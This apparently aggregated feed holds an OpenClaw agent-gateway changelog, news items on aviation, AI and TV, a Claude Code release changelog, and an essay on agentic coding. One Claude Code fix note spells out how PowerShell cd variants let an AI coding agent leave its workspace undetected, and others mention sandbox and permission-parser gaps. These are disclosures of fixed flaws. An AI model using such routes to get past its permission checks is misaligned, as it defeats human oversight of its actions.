Windows installer: extract the downloaded portable Node.js directory with native tar before falling back to .NET zip extraction, avoiding PowerShell 5.1 archive and path-length failures.
fix(integrations): enforce channel read target allowlists [AI]. (#84982) Thanks @pgondhi987.
Agents/heartbeat: route single-owner session.dmScope=main direct-message exec and cron event wakes back to the agent main session so async completions no longer strand context in orphan direct-DM queues. Fixes #71581. (#83743) Thanks @Kaspre.
Agents/code-mode: expose outer code-mode exec source through the command hook alias with toolKind/toolInputKind discriminators so exec-shaped policies can distinguish code-mode cells. (#83483) Thanks @Kaspre.
Agents/code mode: return structured timeout and runtime-unavailable error codes for known worker failures. Fixes #83389. (#83444) Thanks @Kaspre.
QA-Lab: isolate multi-scenario suite workers when scenarios need startup config patches, preventing message-routing config from leaking into unrelated scenarios.
QA-Lab: make the commitments heartbeat-target-none scenario request an immediate heartbeat instead of waiting for the next scheduled heartbeat.
Codex/Plugin SDK: deliver Codex-native subagent completions through a generic harness task runtime so harness-backed plugins can mirror durable task lifecycle and completion delivery without Codex-specific SDK imports. (#83445) Thanks @bryanpearson.
Gateway CLI: surface local post-challenge connect assembly failures immediately instead of waiting for the wrapper timeout. Fixes #68944. (#85253) Thanks @samzong.
Messages: strip unsupported web-search citation control markers from outbound replies before they reach WebChat or external channels. Fixes #85193. (#85204) Thanks @neeravmakwana.
Agents/exec: treat denied exec approvals as terminal instead of feeding them back into agent follow-up work, and recognize Chinese stop phrases in abort handling. Fixes #69386. (#85194) Thanks @samzong.
CLI/agents: abort accepted Gateway-backed openclaw agent runs on SIGINT/SIGTERM so cron and supervisor timeouts do not leave remote agent work alive. Fixes #71710. (#84381) Thanks @Kaspre.
Codex app-server: retry replay-safe stdio client-close turns once using structured failure metadata, while surfacing idle turn/completed timeouts instead of blindly replaying active shared-server turns. Thanks @VACInc.
Codex app-server: reject command overrides that embed Node or package-manager arguments and point users to appServer.args, so Windows startup avoids shell parsing failures. (#84417) Thanks @TurboTheTurtle.
Agents/Copilot: drop unsafe GitHub Copilot Responses reasoning replay items before send so Telegram direct sessions no longer fail on overlong replay IDs. Fixes #85197. (#85198) Thanks @galiniliev.
UI: add accessible tooltips to the topbar color-mode buttons so System, Light, and Dark choices are labeled on hover and focus. (#85227) Thanks @amknight.
fix: constrain Windows task script names [AI]. (#85064) Thanks @pgondhi987.
Control UI: keep the chat session picker from hiding older or cross-agent configured conversations while preserving the bounded configured-agent refresh. (#85211) Thanks @amknight.
Agents/Anthropic: preserve unsafe integer tool-call input values in streamed Anthropic tool-use JSON, preventing Discord-style IDs from being rounded before dispatch. Fixes #47229. (#83063) Thanks @leno23.
Agents/Codex: estimate tool-heavy prompt pressure at the LLM boundary before provider submission, so persistent sessions compact before overflowing context windows. (#85541) Thanks @fuller-stack-dev and @joshavant.
Agents/hooks: wait for local one-shot CLI and Codex agent_end plugin hooks before process cleanup so terminal observability flushes reliably. (#85007)
Providers/Google: preserve Gemini 3 cron thinkingDefault: "low" when stale catalog metadata says reasoning:false, so scheduled runs keep provider-supported thinking instead of downgrading to off. (#85185) Thanks @neeravmakwana.
CLI/agents: allow openclaw agent --session-key to target explicit session keys, including agent-scoped legacy keys. (#85121) Thanks @Kaspre.
Auto-reply/ACP: wait for same-channel block reply delivery before starting tool work, while still honoring ACP dispatch aborts so stopped turns do not wait on slow channel sends. (#83722) Thanks @IWhatsskill.
Codex/ACP: mark required child-run completions that only report progress, omit a final deliverable, or fail requester delivery as blocked while preserving real final reports. (#85110) Thanks @IWhatsskill.
Channels: treat bare abort messages such as stop, abort, and wait as immediate control commands in inbound debounce paths so stop requests are not delayed behind pending message coalescing. (#83348) Thanks @IWhatsskill.
Channels/message tool: resolve configured external channel plugins during in-agent channel selection, so openclaw agent --local message-tool sends no longer report an available channel as unavailable. (#85022) Thanks @Kaspre.
Agents/heartbeat: honor group/channel message_tool visible-reply policy and model-specific Codex runtime config for scheduled heartbeat runs, so failed internal tool output stays private. Fixes #85310. (#85357) Thanks @neeravmakwana.
Gateway/ACP: close child ACP sessions spawned via sessions_spawn when their parent session is reset or deleted, instead of leaving orphaned claude-agent-acp processes that accumulate and exhaust memory. Fixes #68916. (#85190) Thanks @openperf.
Codex app-server: block native execution paths when OpenClaw exec resolves to a node host while preserving the first-party CLI node binding path. Fixes #85012. (#85534) Thanks @joshavant.
Diagnostics: bound cleanup timeout detail logs, emit drop summaries when async diagnostic bursts exceed the queue cap, and surface async queue drops through diagnostic telemetry.
Agents/subagents: surface blocked child-run completions as errors instead of successful subagent finishes. (#80886) Thanks @TurboTheTurtle.
Context engines: fail closed with a descriptive error when the selected agent runtime cannot satisfy declared context-engine host requirements.
Agents/Pi: treat accepted embedded sessions_spawn child-session handoffs as terminal progress so parent turns no longer report false non-deliverable failures. (#85054) Thanks @samzong.
CLI/models: resolve openclaw models set aliases from the runtime config while keeping authored aliases ahead of runtime-only defaults. (#83262) Thanks @IWhatsskill.
Doctor: show personal Codex CLI asset notices as info instead of warnings. Fixes #84859.
WhatsApp: update Baileys to 7.0.0-rc13 and drop the obsolete logger type patch.
CLI/update: pre-pack GitHub/git package update targets before the staged npm install, restoring openclaw update --tag main for one-off package updates. (#81296) Thanks @fuller-stack-dev.
Gateway: mirror successful same-source message-tool sends into session transcripts so delivered replies stay in later history/context. (#84837) Thanks @iFiras-Max1.
Media generation: keep image, music, and video completion delivery from duplicating or losing task ownership when generated media finishes through active session replies. (#84006) Thanks @fuller-stack-dev.
CLI/doctor: remove stale bundled plugin load paths from old versioned OpenClaw package roots after pnpm/npm upgrades. Fixes #58626. Thanks @solink7.
Infra/json: retry transient File changed during read races while loading JSON state so config and state reads recover instead of failing the turn. (#84285)
Plugins/providers: fail closed for workspace provider plugins during setup-mode discovery unless explicitly trusted, preventing untrusted workspace plugin code from running during provider setup. (#81069) Thanks @mmaps.
Providers/Ollama: resolve configured Ollama Cloud OLLAMA_API_KEY markers to the real discovery key so cloud provider entries keep authenticated model catalog access. (#85037)
Discord: keep persistent component registry fallback warnings actionable by forwarding structured error and cause metadata through the runtime logger. Fixes #84185. (#84190) Thanks @100menotu001.
Gateway/sessions: preserve compatible session auth profile overrides when switching models within the same provider, including provider-auth aliases. Fixes #81837. (#81886) Thanks @TurboTheTurtle.
Gateway/status: surface inbound delivery telemetry counters and transport-liveness warnings in openclaw status --all. Fixes #49577. (#72724)
Docker: prune package-excluded plugin source workspaces and dependency closures so runtime images do not keep packages for plugins that were not opted in.
Providers/Ollama: treat Docker/OrbStack host aliases as local Ollama endpoints so ollama-local marker auth works when OpenClaw runs inside a VM/container and Ollama runs on the host. Fixes #84875.
QA-Lab: keep explicitly searchable/deferred OpenClaw dynamic tool rows report-only by default so tool-coverage gates do not treat mock discovery gaps as hard product failures. (#80319) Thanks @100yenadmin.
Agents/config: keep non-Google provider model refs from being rewritten by Google Gemini preview-id normalization. (#84762) Thanks @zhangguiping-xydt.
Installer: require a real controlling terminal before launching onboarding so headless curl | bash installs finish cleanly after installing the CLI.
Agents/Codex: promote a completed final assistant response when a prompt timeout races Codex app-server completion instead of returning an empty timeout envelope. Refs #84516.
Codex app-server: keep interrupted turn statuses from being treated as OpenClaw aborts by themselves, so tool-only turns remain eligible for no-visible-answer recovery. Fixes #84492.
Agents: cap heartbeat model bleed context hints by the stored session window when runtime model metadata is unavailable, so overflow recovery advice does not suggest a larger window than the active session actually has.
Control UI/Web Push: use https://openclaw.ai as the generated default VAPID subject instead of the old localhost mailbox so iOS PWA push setup uses an Apple-acceptable subject when OPENCLAW_VAPID_SUBJECT is unset. Fixes #83134. (#83317) Thanks @IWhatsskill.
Control UI: distinguish inherited thinking-off settings from explicit Off selections so the thinking selector no longer shows two identical Off rows. (#85223) Thanks @amknight.
Agents/Pi: keep embedded session transcript writes from tripping false takeover detection after packaged npm onboarding agent turns.
Codex/TUI: surface Codex-native post-turn compaction failures instead of continuing uncompacted, and keep successful native compaction serialized before local idle/next-turn handling. Fixes #84305. (#85160) Thanks @joshavant.
Memory/search: stop recall tracking from writing dreaming side-effect artifacts when dreaming.enabled=false, while preserving normal search results. Fixes #84436. (#84444) Thanks @NianJiuZst.
Diffs: render viewer toolbar icons from a closed icon-name map instead of HTML strings, removing the toolbar icon XSS sink. (#83955) Thanks @tanshanshan.
QA: keep pnpm qa:e2e self-check runs inside the private QA runtime envelope even when inherited shell env disables bundled plugins.
fix(config): validate browser sandbox bind sources [AI]. (#84799) Thanks @pgondhi987.
doctor: constrain legacy plugin cleanup paths [AI]. (#84801) Thanks @pgondhi987.
Update/doctor: prune stale local bundled plugin install records that point at old compiled bundled output so current bundled plugin schemas win after upgrade. (#84863) Thanks @fuller-stack-dev.
Providers/Ollama: preserve native Ollama tool-call IDs across assistant replay so Gemini over Ollama Cloud can keep its hidden function-call thought-signature handle.
Discord: keep session recovery and /stop abort ownership on the source dispatch lane while bound ACP turns continue routing to their target session, so stalled pre-run work and late replies are cleared instead of leaking after stop. Fixes #84477. (#85100) Thanks @joshavant.
Discord/voice-call: keep forced realtime voice consult diagnostics in debug logs instead of agent prompts, so callers do not hear OpenClaw policy text when the provider misses openclaw_agent_consult. (#84411) Thanks @fuller-stack-dev.
Codex app-server: mark missing turn completion after observed execution as replay-unsafe and release the session so follow-up turns can run. Fixes #84076. (#85107) Thanks @joshavant.
Codex app-server: give visible message dynamic tool sends a longer timeout budget so slow channel delivery can return its own result or error instead of hitting the 30-second Codex wrapper. (#85216) Thanks @amknight.
Codex app-server: add a dedicated post-tool raw assistant completion idle timeout config so trusted heavy turns can wait longer after tool handoff without weakening final assistant release.
Matrix: keep explicitly configured two-person rooms on the room route before stale m.direct or strict two-member DM fallback can bypass mention gating. Fixes #85017. (#85137) Thanks @joshavant.
Agents/subagents: require explicit subagent allowlist targets to be configured agents so stale deleted-agent ids are omitted from agents_list and rejected by sessions_spawn. Fixes #84811. (#85154) Thanks @joshavant.
PDF tool: time out idle remote PDF body reads after 120 seconds so stalled remote documents return an error instead of wedging the session. Fixes #68649. (#84768) Thanks @luoyanglang.
Diagnostics/OpenTelemetry plugin: suppress handled OTLP exporter promise rejections so collector shutdowns no longer crash the Gateway. (#81085) Thanks @luoyanglang.
Agents/exec: omit raw command text and env values from denied exec failure logs while keeping safe correlation metadata. Fixes #85049. (#85140) Thanks @joshavant.
Media-understanding: restore the 4096-token default for image descriptions so reasoning-capable vision models no longer truncate before returning text, while preserving smaller model caps. (#84932) Thanks @scotthuang.
Media/audio: skip empty structured sherpa-onnx transcripts instead of treating the raw JSON payload as spoken text. (#84667) Thanks @TurboTheTurtle.
Agents/exec: preserve inherited XDG base-directory environment values for subprocesses while still rejecting agent-supplied XDG overrides. Fixes #84854. (#85139) Thanks @joshavant.
Node/Linux: keep OPENCLAW_GATEWAY_TOKEN out of generated systemd unit files by writing node service token values to a node-specific env file. (#84408)
Memory-core/dreaming: reuse stable narrative subagent session keys per workspace and phase while keeping per-run idempotency and bounded cleanup, so stale dreaming-narrative-* sessions do not accumulate. Fixes #68252, #69187, and #70402. (#70464) Thanks @chiyouYCH.
Trajectory/support: tolerate partial skill snapshot entries when building support metadata so rejected skill path scans no longer abort trajectory capture. (#71185) Thanks @lukeboyett.
TUI: coalesce repeated idle Esc abort notices into a single no active run xN system row instead of appending duplicate rows.
Telegram: honor channels.telegram.pollingStallThresholdMs in the default isolated polling path, restarting silent workers instead of leaving inbound updates wedged. Fixes #83950. (#84861) Thanks @joshavant.
Telegram: dedupe replayed message dispatches by Telegram chat/message identity so isolated-ingress replays do not trigger duplicate model dispatches. Fixes #84886. (#85208) Thanks @joshavant.
Slack: suppress reasoning payloads before reply delivery and dispatch accounting, so Slack monitor, slash-command, fallback, and direct reply paths do not leak model reasoning. Fixes #84319. (#84322) Thanks @ffluk3 and @joshavant.
Slack: deliver native plugin approval prompts and updates when Slack native approvals are enabled, while keeping plugin approval authorization separate from exec approvers.
Slack: keep native plugin approval prompts in the originating app conversation thread when the live Slack turn source is a D... conversation.
Agents/Pi: disable the embedded pi-coding-agent runtime auto-retry so OpenClaw's own retry and failover loop does not replay failed tool calls through a nested SDK retry. Fixes #73781. (#74434) Thanks @yelog.
CLI/perf: keep setup --help, onboard --help, and configure --help out of the full wizard runtime while preserving the existing help output. (#84488) Thanks @frankekn.
CLI/perf: keep agents --help out of agents action/runtime imports so help, completion, and command discovery paths avoid loading the full agents runtime. (#84483) Thanks @frankekn.
CLI/perf: keep secrets --help and nodes --help on the precomputed help path so parent help avoids loading action-heavy command runtime modules. (#84818) Thanks @frankekn.
CLI/perf: serve doctor, gateway, models, and plugins parent help from startup metadata so common subcommand help avoids full CLI program construction. (#84786) Thanks @frankekn.
Codex/Lossless: keep context-engine history on the canonical run session when Telegram DMs use per-peer runtime policy keys. Fixes #84936. (#84954) Thanks @neeravmakwana.
Codex: keep heartbeat response tool schemas durable without exposing dynamic tools disabled by turn policy, so heartbeat wakeups can reuse threads while scoped tool allowlists stay enforced. (#84681) Thanks @jalehman.
Auth/OAuth: skip the refresh adapter when a stored OAuth credential has no refresh token so agent turns fail fast on missing-key instead of waiting on the 120s refresh timeout. Thanks @RomneyDa.
Auth/Codex: load legacy OAuth sidecar credentials in the embedded runner's secrets-runtime auth loaders so Telegram replies, cron-triggered turns, and other isolated sub-agent lanes can reach the existing #83312 refresh-and-rewrite migration instead of failing with No API key found for provider "openai-codex" until the user runs openclaw doctor. Thanks @Totalsolutionsync and @RomneyDa.
Codex/failover: classify deactivated_workspace as a permanent auth failure so configured fallback models can advance when a Codex workspace is deactivated. (#55893) Thanks @litang9.
Exec: keep configured tools.exec.pathPrepend entries ahead of user shell startup PATH changes on POSIX gateway runs. (#81403) Thanks @medns.
Gateway/sessions: allow shared-secret bearer callers to read and stream session history without an explicit scope header. (#81815) Thanks @medns.
Agents/embedded runner: classify HTML auth provider responses as auth_html and return a re-authentication hint instead of the CDN-blocked copy that upstream_html returns. Cloudflare Access login pages, nginx basic-auth challenges, and gateway login walls all produce HTML auth bodies that were previously misdiagnosed as transient CDN blocks. (#79900) Thanks @martingarramon.
TUI/streaming watchdog: dismiss the This response is taking longer than expected notice as soon as a chat event for the same run arrives, so the message no longer sits next to the recovered response when the run was only briefly silent. Refs #67052, #69081 (closed), prior attempt #69026. Thanks @jpruit20 and @RomneyDa.
Agents/Pi: tolerate OpenClaw-owned transcript writes while embedded prompts are released for model I/O, keeping long-running Feishu, Slack, Telegram, and cron turns from failing with false session-takeover errors. Fixes #84059. (#84250) Thanks @tianxiaochannel-oss88.

Microsoft said its AI made Google dance in 2023, three years later Gemini is beating Copilot

Sun, 24 May 2026 23:09:08 +0200

Microsoft shocked the tech world with AI-powered Bing and Copilot, hoping to make Google “dance.” But Google’s Gemini counterattack transformed search itself. This deep dive explores Microsoft’s AI history, Copilot mistakes, Google’s AI takeover, and how Bing could still save the internet.

The post Microsoft said its AI made Google dance in 2023, three years later Gemini is beating Copilot appeared first on Windows Latest

Air France, Airbus Guilty of Corporate Manslaughter In 2009 Air France 447 Crash

Sat, 23 May 2026 21:50:24 +0200

Long-time Slashdot reader UnknowingFool shares this report from the BBC: Air France and Airbus have been found guilty of manslaughter over a 2009 plane crash which killed 228 people. The Paris Appeals Court found the airline and aircraft manufacturer "solely and entirely responsible" for the incident, in which flight AF447 from Rio de Janeiro to Paris crashed into the Atlantic Ocean. The passenger jet stalled during a storm and plunged into the water, killing all on board. A court had previously cleared the companies in April 2023, but they were found guilty on Thursday after an eight-week trial. Both have repeatedly denied the charges and say they will appeal... The companies have been asked to pay the maximum fine — €225,000 ($261,720; £194,500) each — but some victims' families have criticised the amount as a token penalty... In 2012, French investigators found a combination of technical failure involving ice in the plane's sensors and the pilots' inability to react to the aircraft stalling led to it plunging into the sea. The captain was on a break when the co-pilots became confused by faulty air-speed readings. They then mistakenly pointed the nose of the plane upwards when it stalled, instead of down. Investigators concluded the co-pilots did not have the training to deal with the situation. Pilot training has since been improved and the speed sensors replaced.

Read more of this story at Slashdot.

People used AI to recreate the voices of pilots killed in a plane crash

Sat, 23 May 2026 17:02:42 +0200

People took a PDF file report about a plane crash and used AI to recreate the last few seconds its pilots' conversation.

"Let's Dance" 2026: - Wer ist raus? Tränenreicher Abschied am 22.5

Sat, 23 May 2026 02:46:45 +0200

"Let’s Dance" 2026: Das Halbfinale ist vorbei und ein Paar musste die Show dramatisch verlassen! Wer fliegt so kurz vor dem Finale raus? Wir haben das Ergebnis LIVE. Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, RTL+, Entertainment, Waipu.tv.

"Let’s Dance" 2026: Der Punkte-Check, alle Wertungen vom 22.05. auf einen Blick

Sat, 23 May 2026 00:31:06 +0200

"Let's Dance" 2026: Show 11 ist gelaufen und die Finalisten stehen fest! Wer musste kurz vor dem Ziel gehen? Hier sind alle Punkte und Jurywertungen im Check! Dieser Artikel wurde einsortiert unter RTL, RTL+, Entertainment, Waipu.tv, Neu auf RTL+: Diese Show-, Film- und Serienneuheiten starten im Mai 2026.

v2.1.149

Sat, 23 May 2026 00:16:13 +0200

What's changed

/usage now shows a per-category breakdown of what's driving your limits usage — skills, subagents, plugins, and per-MCP-server cost
/diff detail view can now be scrolled with the keyboard (arrows, j/k, PgUp/PgDn, Space, Home/End)
Markdown output now renders GFM task list checkboxes (- [ ] todo / - [x] done) instead of plain bullets
Enterprise: added the allowAllClaudeAiMcps managed setting to load claude.ai cloud MCP connectors alongside managed-mcp.json
Fixed a PowerShell permission bypass: built-in cd functions (cd.., cd\, cd~, X:) changed the working directory undetected, letting a later command read outside the workspace
Fixed the sandbox write allowlist in git worktrees covering the entire main repository root instead of only the shared .git directory (with hooks/ and config denied)
Fixed PowerShell prefix/wildcard allow rules (e.g. PowerShell(dotnet.exe build *)) not pre-approving native executables and scripts
Fixed a permission-analysis gap where the parser trusted stale variable-tracking values for PWD/OLDPWD/DIRSTACK across cd/pushd/popd
Fixed find in the Bash tool exhausting the macOS system file/vnode table and crashing the host on large directory trees
Fixed the managed-settings approval dialog leaving the terminal frozen after accepting at startup
Fixed /ultraplan and remote session creation failing with "Could not capture uncommitted changes" when the working tree has no real changes
Fixed otelHeadersHelper failing silently when the script path contains spaces; helper failures are now reported in /doctor and the debug log
Fixed the thinking spinner staying amber across tool calls and onto fresh thinking bursts
Fixed collapsed Bash output reporting the wrong hidden-line count for outputs with many short lines
Fixed slash-command argument-hint clipping trailing typed characters when the hint overflows the input box
Fixed argument-hint and progressive arg suggestions not appearing after Tab-completing a skill whose frontmatter name: differs from its directory basename
Fixed the status bar showing the user's baseline /effort setting instead of the effort level applied by skill/agent effort: frontmatter
Fixed Ctrl+O transcript view freezing at the moment it was opened instead of tailing new messages
Fixed editing a recalled prompt-history entry losing the edit when navigating further up/down with arrow keys
Fixed /config exit summary reporting phantom changes to auto-compact and theme when toggling unrelated settings
Fixed /insights crashing when cached session-meta files are missing optional fields
Fixed malformed PowerShell and History tool calls with missing input being misclassified as reads in transcript collapsing
Fixed renaming a Remote Control session from claude.ai or the Claude mobile app not updating the local session name for claude --resume
Fixed a race where a just-submitted prompt could appear twice in the up-arrow history
Fixed tapping the "Jump to bottom" pill in fullscreen mode not dismissing it immediately
Improved /feedback reports to include the conversation that happened before context compaction, making issues from earlier in long sessions easier to triage

NTSB Wants PDF Removed After It Exposed Final Cockpit Audio From UPS Crash

Fri, 22 May 2026 23:22:02 +0200

The NTSB temporarily closed public access to nearly all investigation dockets after people used a spectrogram image from a PDF in the UPS flight 2976 crash file to reconstruct approximate cockpit voice recorder audio and post it online. "We show our work and we've been doing this type of thing for years. Nobody was aware that you can recreate audio from a picture," a spokesperson for the board said. "NTSB is looking to make sure there's nothing else in the docket that could compromise anybody's privacy... now that we understand the possibility of a digital recreation." CNN reports: Cockpit voice recordings, often referred to as the CVR, capture everything commercial pilots say and are valuable during NTSB investigations, but are almost never released out of respect for the victims and their families. UPS flight 2976 crashed on November 4, when an engine separated from the wing while it was taking off from Louisville, Kentucky. The three crew members onboard were killed along with 12 people on the ground. During a two-day investigative hearing this week, the board released a docket full of details about the crash. Besides thousands of pages of reports and video showing the engine separating, it included a transcript of the CVR and a PDF file showing an analysis of the spectrogram of the audio it recorded. A spectrogram is a still image that is a visual representation of the audio, showing the ups and downs of the frequencies. Using that still image, members of the public were able to recreate the voices of the pilots in the moments before the plane crashed and post the results online. The clip, which included background noise and echoes, covered the last 30 seconds of the flight as the pilots struggled with the disabled aircraft as well as recordings of testing the NTSB did on another aircraft. In a statement on Thursday, the board made clear it "does not release cockpit voice recordings" due to federal law and because of the highly sensitive nature of what they include, but it was "aware that advances in image recognition and computational methods have enabled individuals to reconstruct approximations of cockpit voice recorder audio from sound spectrum imagery." Investigation dockets are made public for transparency, but this week, the board took the rare step of closing public access to all dockets, including the one for the UPS crash. [...] The NTSB is urging platforms like X and Reddit to remove posts with the audio.

Read more of this story at Slashdot.

"Let’s Dance" 2026 das Halbfinale heute im Live-Ticker: Tänze, Punkte und die Entscheidungen am 22.Mai

Fri, 22 May 2026 20:47:40 +0200

"Let’s Dance 2026" heute bei RTL. Wir tickern für euch LIVE ab 20:15 Uhr! Wer schnappt sich die Final-Tickets und für wen endet der Traum so kurz vor dem Ziel in Tränen? Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, RTL+, Entertainment, Waipu.tv.

Trump pulls AI safety order after last-minute calls from Musk, Zuckerberg, and Sacks

Fri, 22 May 2026 13:34:37 +0200

Trump killed an executive order on AI safety at the last minute after calls from Elon Musk, Mark Zuckerberg, and former advisor David Sacks. The order would have created a voluntary review system for frontier models with a 90-day window before release.

The article Trump pulls AI safety order after last-minute calls from Musk, Zuckerberg, and Sacks appeared first on The Decoder.

Let's Dance 2026 - Halbfinale: Wann solltet ihr zur Ergebnisverkündung einschalten?

Fri, 22 May 2026 09:02:49 +0200

Am Freitag, dem 22. Mai, geht Let's Dance 2026 in das Halbfinale. Wir skizzieren für euch den Zeitplan des Abends und zeigen euch, wann ihr spätestens zur Ergebnisverkündung einschalten solltet. Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, Entertainment, Waipu.tv, Serien, RTL+.

The Witcher 3: Wild Hunt lead quest designer recalls the moment he suggested that one character be killed off, says the team's reaction was 'wide eyes and silence' — 'The weight of it is exactly what the act needs'

Thu, 21 May 2026 18:32:51 +0200

The Witcher 3: Wild Hunt lead quest designer Paweł Sasko has revealed that he shocked the development team into silence when he suggested killing off a certain character.

"Let’s Dance" vor dem Halbfinale: Was jetzt passiert und wie es bis zum Finale weitergeht

Thu, 21 May 2026 10:01:51 +0200

Das Finale ist zum Greifen nah, doch vor den Promis wartet die härteste Show der Staffel. Dieser Artikel wurde einsortiert unter RTL, TV-Serie / Webserie, RTL+, Entertainment, Serien.

Kickstarter just killed its new mature content rules

Tue, 19 May 2026 20:47:56 +0200

Last week, we noted Kickstarter's new content guidelines which had some pretty weird new additions, including a prohibition on "sexual wellness products that are not designed for insertion or penetration and are not marketed primarily for sexual gratification." Those rules have now been eliminated and the company has restored an earlier version of its guidelines. […]

Geheime Netflix-Codes: Versteckte Filme & Serien finden

Tue, 19 May 2026 03:45:44 +0200

Wenn Sie das Gefühl haben, auf Netflix keine neuen Inhalte mehr zu finden, dann liegt das ganz einfach am Netflix-Algorithmus. Der schlägt Ihnen überwiegend die Film- und Serientitel vor, die zu Ihrem bisherigen Streaming-Verhalten passen. Auf der Startseite wiederum finden Sie oft primär Netflix-Produktionen und Serien und Filme, die gerade im Trend sind, weil sie jeder schaut.

Um aber aus dieser Bubble auszubrechen und auch mal gänzlich neue, noch unentdeckte Kategorien zu finden, helfen die nachfolgenden geheimen Netflix-Codes. Über diese Codes finden Sie tausende Streaming-Inhalte, die Ihnen der Algorithmus sonst nie anzeigen würde.

So geben Sie die geheimen Netflix-Codes ein

Die Netflix-Codes lassen sich auf drei Wegen nutzen: im Browser, in der App auf dem Smartphone oder Tablet sowie direkt auf dem Smart-TV.

Im Browser: Das ist die komfortabelste Methode. Rufen Sie die Adresse https://www.netflix.com/browse/genre/XXX auf und ersetzen Sie “XXX” durch den gewünschten Zahlen-Code.

Der Vorteil: Netflix zeigt Ihnen dabei direkt den Namen der Kategorie an und listet alle zugehörigen Inhalte übersichtlich auf. Sie müssen dafür in Ihrem Netflix-Konto eingeloggt sein. Alternativ können Sie den Code auch einfach in das Suchfeld auf der Netflix-Website eingeben.

In der App: Öffnen Sie Netflix auf Ihrem Smartphone oder Tablet und tippen Sie den Zahlen-Code direkt in das Suchfeld ein. Die passenden Titel erscheinen anschließend in den Suchergebnissen. Die ersten Treffer passen dabei stets am besten zum gewählten Genre. Je weiter Sie nach unten scrollen, desto ungenauer werden die Ergebnisse.

Auf dem Smart-TV: Genauso einfach wie in der App. Öffnen Sie die Suchfunktion und geben Sie den Zahlen-Code ein. Tipp: Möchten Sie die Codes bequemer eingeben, können Sie auch den Smartphone-Begleitmodus von Netflix nutzen. Damit steuern Sie Netflix am TV direkt über Ihr Handy und müssen sich nicht mit der Fernbedienung durch die Buchstaben tippen.

Die Netflix-Codes im Überblick

Action- und Abenteuerfilme (1365)

Anime (7424)

Dokumentationen (6839)

Dramen (5763)

Filmklassiker (31857)

Glauben & Spiritualität (26835)

Horrorfilme (8711)

Independent-Filme (7077)

Internationale Filme (7462)

Kinder- und Familienfilme (783)

Komödien (6548)

Kultfilme (7627)

LGBTQ-Filme (5977)

Musicals (13335)

Musik (1701)

Romantische Filme (8883)

Science-Fiction & Fantasy (1492)

Serien (83)

Sportfilme (4370)

Thriller (8933)

Wenn Sie darüber hinaus noch weitere Inhalte entdecken möchten, finden Sie bei uns die besten Suchtipps für Netflix sowie eine kuratierte Liste der besten Netflix-Serien und besten Netflix-Filme.

AI is rewriting the software development playbook

Mon, 18 May 2026 13:07:45 +0200

A few years ago, AI in software development meant autocomplete that occasionally guessed your variable name. Today, it means something closer to having an extra engineer sitting next to you — one who never sleeps, never complains about context switching and has read more code than any human alive. In fact, you can have a whole extra engineering team if you’re crafty with orchestration. The shift has been gradual, but it’s accelerating quickly, and AI is no longer a novelty feature tucked inside your IDE. Instead, it’s becoming the connective tissue of how software actually gets built. Engineering teams have to adopt or risk hopelessly falling behind.

From autocomplete to autonomous agent

The early generation of AI coding tools was fundamentally autocomplete engines with better training data. Useful, sure. But they didn’t change the job of software engineering. A developer still had to do the thinking, the planning and the debugging; the tools just saved some keystrokes.

What’s different now is the emergence of agentic AI systems. These aren’t tools that suggest the next line. They’re systems that can take an instruction (e.g., “add input validation to the checkout form and write tests for it”) and execute across multiple files, run a test suite, identify failures and automatically fix them. The developer’s job is shifting from writing code to planning, directing, reviewing and refining. In other words, acting more as an engineering lead or product manager than a coder.

At Nutrient, we made Claude Code, Codex and other coding agents available across our entire engineering team, leveraging company accounts with liberal usage limits. Usage of agentic AI at this point isn’t only recommended, it’s mandated: We only write code manually as a fallback. The organization shift certainly wasn’t an easy one, and we still have different levels of agentic orchestration proficiency across the team. However, for those leading the pack, we see an immense increase in productivity and impact. As a result, the number of impact-weighted pull requests (self-contained code changes, weighted by complexity) has nearly doubled across the organization in the span of a few months, as attested by our homegrown engineering metrics tool.

AI across the full development lifecycle

The impact of AI isn’t limited to the act of writing code; it’s showing up at every stage of how software gets built, tested and maintained.

We’re approaching the point where planning, design, testing and even debugging are becoming implementation details. Engineers are now focusing on clearly defining the desired outcomes and then orchestrating tooling in a way that it can execute agentic loops with validation feedback. The feedback can still come from humans, but even that can be made so it’s automatically obtained by agents. Say we want to improve the performance of a specific module — often considered an advanced engineering task. If we start by creating good benchmarks, we can simply leverage them to let an agent loop overnight and try different methods to activate better performance. All the engineer has to do in the morning is review a report and pick the winner.

Depending on the task, engineers now have the choice of how involved they want to be in each step of the process. Sometimes you want to brainstorm a detailed plan together with your AI coworker, and other times you want it to one-shot solve a problem. Understanding what is the right choice for any given task is becoming a key new skill software engineers need to develop.

The fact is that every stage of the software development process needs to get faster to truly reap the promised boost from agentic AI. Code review needs to be assisted by agentic analysis and FAQ with your agent, QA testing needs to leverage agents for faster orchestration, and release notes and documentation need to be authored by AI. Failing to make these crucial adjustments just shifts bottlenecks to a different part of the organization.

There’s a fear that this kind of work will lead to code nobody understands, but if we’re honest with ourselves, that’s already the case for any decently large codebase written by humans. If anything, AI has become genuinely useful to counter this issue. Codebases accumulate entropy. The original authors leave. Documentation rots. AI can help reverse-engineer intent from implementation in ways that would have previously taken days of careful archaeology.

The competition is real…and it’s good for developers

The AI coding market is a hot race, and it’s one worth paying attention to. Alongside the major platform players, a wave of purpose-built tools has emerged, some focused narrowly on specific parts of the workflow, and others attempting to own the full stack of AI-assisted development.

Cursor has built a devoted following among professional developers for its deep codebase integration and model flexibility, with Copilot’s VS Code integration giving it a run for its money. Claude Code and Codex have now become the frontrunners for truly agentic coding, though there are a lot of other choices available, like the open-source minimal coding agent PI. At the same time, Replit and Lovable are pushing the boundary of what’s possible for non-traditional developers, and we of course have projects like OpenClaw for agents that can go well beyond coding.

What Google I/O and Microsoft Build will likely reveal this May is how the platform incumbents respond to this fragmentation. Both companies have the distribution advantage: If you’re already using some of their tooling — be it VS Code, Google Cloud, or Google Workspace — the path of least resistance is the AI tooling they bundle in. But the easiest route doesn’t always win in developer tooling, where engineers have strong opinions and will switch if a better option exists.

The competitive pressure between these players is, on balance, good for working developers. It means faster iteration, more model choice, better pricing and tools that are actually being shaped by real engineering feedback rather than product marketing.

What this means for the developer role

The question that comes up whenever AI makes a meaningful leap in capability — “Will this replace developers?” — keeps getting asked, and it keeps getting the same honest answer: not in the way people fear, but yes, the job is changing, and only those willing to adapt quickly and fully will have a future in it.

